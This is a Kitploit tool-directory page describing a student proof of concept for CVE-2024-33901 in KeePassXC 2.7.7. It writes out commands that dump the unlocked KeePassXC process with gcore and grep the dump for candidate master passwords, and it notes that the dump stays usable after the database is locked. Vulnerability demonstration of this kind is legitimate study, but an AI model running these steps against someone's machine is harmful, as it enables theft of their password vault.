Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-33901-ProofOfConcept — Short program that demonstrates the vulnerability CVE-2024-33901 in KeePassXC version 2.7.7 | Kitploit
Tools/GitHubGitHub/gmikisilva/cve-2024-33901-proofofconcept
Password CrackingMemory ForensicsVulnerability AnalysisExploitationData ExfiltrationDigital Forensics
GitHubgmikisilva/cve-2024-33901-proofofconcept

CVE-2024-33901-ProofOfConcept

Short program that demonstrates the vulnerability CVE-2024-33901 in KeePassXC version 2.7.7

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
21 year agoNot yet reviewed

CVE-2024-33901-ProofOfConcept

Short program that demonstrates the vulnerability CVE-2024-33901 in KeePassXC version 2.7.7

The report for the class might need the source code linked, so that's why I created the repo for this

How to replicate the vulnerability

  1. Open KeePassXC and authenticate the database
  2. While the database is authenticated, create a memory dump file for it

This can be achieved by getting the PID, which can be done with this command:

root@kitploit:~
ps aux | grep keepassxc

And then running this command: sudo gcore -o keepassxc_dump PID_HERE

For example, if the PID that you got was 1234, then the command would have to be:

root@kitploit:~
sudo gcore -o keepassxc_dump 1234

3. Finally, you can run this command: cat keepassxc_dump.PID_HERE | strings | grep "password guess here"

So if the PID was 1234, the command would be:

root@kitploit:~
 cat keepassxc_dump.1234 | strings | grep "password guess here"

Once the memory dump file is created, the attack can be performed even if the database is locked again or if KeePassXC is closed.

The provided Python code performs all of these steps, and it attempts multiple password guesses based on the text files provided.

Download Tool